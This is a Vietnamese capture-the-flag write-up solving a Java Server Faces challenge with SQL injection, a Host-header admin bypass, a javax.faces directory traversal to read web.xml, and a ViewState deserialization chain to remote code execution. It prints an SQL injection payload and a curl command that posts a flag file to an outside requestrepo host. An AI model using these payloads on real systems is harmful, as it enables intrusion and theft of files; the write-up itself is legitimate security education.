ASCIS FINAL 2020 WRITEUP WEB CHALLENGE - Mojarra war

ASCIS FINAL 2020 WRITEUP WEB CHALLENGE - Mojarra war

Sau đợt thi học kì kết thúc năm 2 xong thì mình cũng rảnh nên quyết định kiếm vài chall java cũ mấy năm trước mà đấm (thực ra là bị nó đấm ngược 😗). Lướt trên git repo của mấy tiền bối thì bắt gặp một bài về java deserialization hay về JSF. Qua bài này thì mình học được rất nhiều thứ: setup + debug ... nhưng cũng tốn tầm 3 - 4 ngày để solved 😔. Không luyên thuyên nữa bắt tay vào chall thôi ~~~


Contents


Sơ lược về challenge

Mô tả

Set up

Bài này tác giả cho source để build local. Có thể build thông qua README.md (docker) hoặc README.txt (cái này mình dùng để cài thẳng vào máy ảo cho việc remote debug, tí nữa sẽ đề cập cụ thể).

Note: ở file setup.sh, chỉnh lại như sau để không bị lỗi unrecognised service

Overview

Sau khi build thành công access tới http://localhost:31337/mojarra_war/ thì sẽ hiện ra như sau:

Trang hiển thị ra các record của các team gồm Team Name, Team Country, ... và tác giả cũng đã gợi ý rằng challenge này bao gồm 2 flag và nhiệm vụ của ta là phải đi tìm chúng.

Gồm có các chức năng như Update, Delete và Create New Team:

  • Update: chỉnh sửa thông tin của các team record

  • Delete: xóa team record

  • Create New Team: tạo mới một team record (chỉ có admin mới có quyền tạo)

Tiếp theo mình sẽ chia ra 2 phần để tìm flag

Flag1

Sau khi tải source về sẽ có một file là mojarra_war.war, thực hiện giải nén file này ra và mở với IntelliJ IDEA để xem source của server: jar xvf mojarra_war.war

Loay hoay đọc source một hồi thì mình nhận ra ở class SecurityUtils có phương thức ngăn ngừa sqli

Để ý file setup.sql:

Tác giả đã che đi tên một table 🤔 từ đây suy ra được có lẽ đây là table chứa flag và ta cần khai thác sqli để đọc flag.

DatabaseOperation (class để tương tác với mysql datase) cụ thể ở đoạn code này:

    public static String saveTeamDetailsInDB(TeamBean newTeamObj) {
        int saveResult = false;

        try {
            if (SecurityUtils.SQL_filter(newTeamObj.getTeam_secret_message())) {
                String insertTeam_query = String.format("insert into ascis_final_team (team_name, team_country, team_secret_status, team_secret_message) values ('VNSEC', 'VN', 0, '%s')", newTeamObj.getTeam_secret_message());
                pstmt = getConnection().prepareStatement(insertTeam_query);
                int saveResult = pstmt.executeUpdate();
                connObj.close();
            }
        } catch (Exception var3) {
            var3.printStackTrace();
        }

        return "TeamsList.xhtml?faces-redirect=true";
    }

bị lỗi sqli. Bởi vì prepareStatement() được dùng sau khi String.format() vì vậy ta vẫn có thể inject được.

Vấn đề còn lại là làm sao để inject bởi vì muốn inject được thì ta phải sử dụng chức năng Create New Team và chỉ admin mới có quyền create. Nhưng có thực sự là chỉ admin mới được quyền không ?

Tiếp tục đọc source mình tìm thấy đoạn code sau được dùng để filter admin.

serverName phải là peterjson.pwserverPort phải là 13337. Thử bypass bằng cách thay đổi Host header:

Ok thành công. Nhưng trước khi sqli thì ta phải xóa bớt một vài team record hoặc xóa hết cũng được bởi vì server chỉ hiển thị ra 20 cái đầu tiên:

Payload sqli:

'), ((select group_concat(column_name) from information_schema.columns where table_name='ascis_final_team'),'x',1,'x

Gửi request:

Leak được column name của table ascis_final_team:

\=> Tiếp tục áp dụng các payload để leak flag trong database thôi. Muốn thực tế hơn thì các bạn có thể tự tạo table để lưu flag và sqli để get flag. Vậy là xong flag1

Flag2

Phân tích

Muốn lấy được flag2 thì ta sẽ cần focus vào hint của tác giả ở description: what common vulnerabilities on JSF ?

Sau một hồi search thì mình khá chắc là lỗi deserialization trong JSF, đọc thêm ở đây.

Nhắc đến deserialization trong java thì ta cần quan tâm đến source, sink và các gadgets để chain từ source đến sink:

  • Gadget: các đoạn code có sẵn trong source code.

  • Source: điểm bắt đầu của gadget chain.

  • Sink: điểm cuối của gadget chain.

Ở bài này thì sink rất dễ thấy, nằm ở scriptEngine.eval() của phương thức toString() thuộc class TeamBean. Để chain tới toString() thì ta có thể dùng class BadAttributeValueExpException và set field val cho nó là một instance của class Teambean (tham khảo ở đây).

Còn về phần script để đưa vào eval() thì có liên quan tới javascript engine trong java. Cụ thể là mình sẽ dùng payload.js ở bài viết này. Vậy là xong phần "hậu" deserialize ViewState.

Bây giờ mình sẽ phân tích về phần "tiền" deserialize, cụ thể là làm sao để tạo ra một ViewSate hợp lệ và gửi đến server. Nhìn sơ qua file web.xml trong source code:

\=> Sate được lưu ở client side và tác giả có nói là secret key sẽ khác so với trên server.

à và bảo chúng ta phải tìm key 🤔.

Để ý header X-Powered-By: Servlet/3.1 JSP/2.3 (GlassFish Server Open Source Edition 5.0 Java/Oracle Corporation/1.8) và source code ta biết được server sử dụng JSF/2.3 framework và glassfish server version 5.0. Và bởi vì vậy mà cách lưu ViewSate cũng sẽ khác so với các version cũ hơn, có thể đọc ở đâyđây.

Với các version cũ hơn thì serialized object sẽ được nén với gzip sau đó base64 encode:

Đối với version mới thì sau khi gzip sẽ được encrypt (trong bài này dùng AES) và áp dụng HMAC để đảm bảo tính integrity và confidentiality:

Vậy mảnh ghép còn thiếu cuối cùng chính là key để encrypt hay chính là ClientSideSecretKey mà tác giả bảo ta đi tìm.

Trong thư mục lib có 3 file .jar:

Vì có sẵn version nên thử search xem có vuln nào không thì may thay đối với javax.faces-2.3.4.jar mình tìm được:

Package vulnerable có version < 2.3.5, và cái của server đang dùng là 2.3.4 -> directory traversal để đọc file config.

Nhưng ở đây chỉ đề cập đến function và class bị lỗi, mình click vào một link github commit ở dưới để xem rõ hơn:

\=> Khai thác bằng cách traversal ở loc param.

Về cách để hiện thực thì mình có tham khảo ở bài viết này. Tiếp theo là thử đọc file a.css:

\=> Đọc thành công.

Thử bỏ param loc đi xem thế nào:

\=> Ta đã đi đúng hướng.

Nhưng khi đọc web.xml thì:

😢 Failed but why ???

Sau một hồi stuck thì mình quyết định đi hỏi tác giả và ...

Xem ra phải remote debug rồi 😱.

Remote debug

Server side

Mình tốn khá nhiều thời gian ở công đoạn này. Lúc đầu mình định remote debug bằng cách build server trong container và map port 9009 (port default cho debugging glassfish) ra ngoài sau đó dùng intellij idea để kết nối tới nhưng failed.

Chạy xong thì bị exit 🥺. Lúc này cũng đuối lắm rồi nên quyết định cài thẳng server vào máy ảo kali của mình rồi debug luôn. Để cài thì trong file README.txt có đề cập cụ thể rồi, chỉ cần thay đổi và thêm vài thứ:

su root
cd /opt/ && mkdir chall/
cp give_to_player_ascis_final.zip chall/
cd chall && unzip give_to_player_ascis_final.zip
give_to_player_ascis_final.zip
chmod +x setup.sh && ./setup.sh

Đoạn đầu thì vẫn làm theo như hướng dẫn ở trên (Note: trong file setup.sh vẫn giữ nguyên là apt-get install mariadb-server -y). À nhớ tự tạo file flag để làm nhé.

Sau đó, gõ lệnh để setup database cho server:

Để debug được thì xài lệnh như bên dưới:

Vậy là đã hoàn thành set up ở server side.

Client side

Để setup phía client thì làm theo các bước sau:

  1. Tải bản jdk-8u231 version window và dùng nó cho project của intellij idea

  2. Chọn Project Structure -> Libraries -> + sau đó add các file .jar ở thư mục lib vào

  1. Tiếp theo Add configurations và cấu hình như sau

Host ở đây mình để là địa chỉ IP của máy ảo.

Hiện như vầy nghĩa là đã kết nối thành công:

Dựa vào link khi nãy để set breakpoint tại findResource của class WebappResourceHelper (Tìm class: CTRL + N, tìm method: CTRL + F12, đặt breakpoint: CTRL + F8)

Đặt xong bp rồi thì access tới http://192.168.169.132:31337/mojarra_war/javax.faces.resource./resources/css/a.css.jsf?loc=.. để xem cách hoạt động và sau khi F8 một hồi thì nó dẫn ta tới:

Hmmm, vậy là tác giả đã chỉnh lại source và thêm vào !resName.startsWith("WEB-INF") 🥺. Ok đã tìm ra vấn đề, chỉnh lại 1 tí là đã có thể đọc được web.xml:

\=> Có được key trên server.

Nói thêm một tí về source của gadgets chain, có thể tham khảo chain hoàn chỉnh ở đây:

Exploit

Nguyên liệu đã có đủ, các bước để exploit sẽ như sau:

  1. Tạo một instance của TeamBean, set field template thành script để RCE với command: curl -X POST -d @/opt/chall/flag.txt http://6gmo9p4b.requestrepo.com

  2. Tạo một instance của BadAttributeValueExpException và set field val là instance ở 1.

  3. Gzip dạng object serialized của 2.

  4. Base64encode + urlencode sau đó gửi đến server

Note: mình dùng Class.forName() và đặt class TeamBean vào đúng package giống như trong source đã giải nén (ascis.TeamBean) nếu không sẽ bị lỗi ClassNotFoundException.

Project structure của mình:

À nhớ add library javax.faces-2.3.4.jar để có thể dùng các thư viện của nó cho việc viết script.

Về script thì chỉ hơi nhọc ở đoạn đọc source gốc và viết lại + chỉnh sửa khúc mà họ encrypt thôi. Mình sẽ úp lên github dành cho những ai có nhu cầu tham khảo.

Run solve.java:

Gửi request:

Flag:

Lời kết

Thật sự khi giải ra được bài này mình rất vui, nó là thành tựu đầu tiên trên sự nghiệp học java security của mình. Nói thật thì mình cũng không nghĩ sẽ solved được. Từ giai đoạn setup -> debug -> solve, đã từng có lúc muốn mở wu người ta ra đọc 😔 nhưng sau cùng cũng tự giải được 😎. Rất mong chờ được học hỏi thêm nhiều điều từ các challenge của anh peterjson.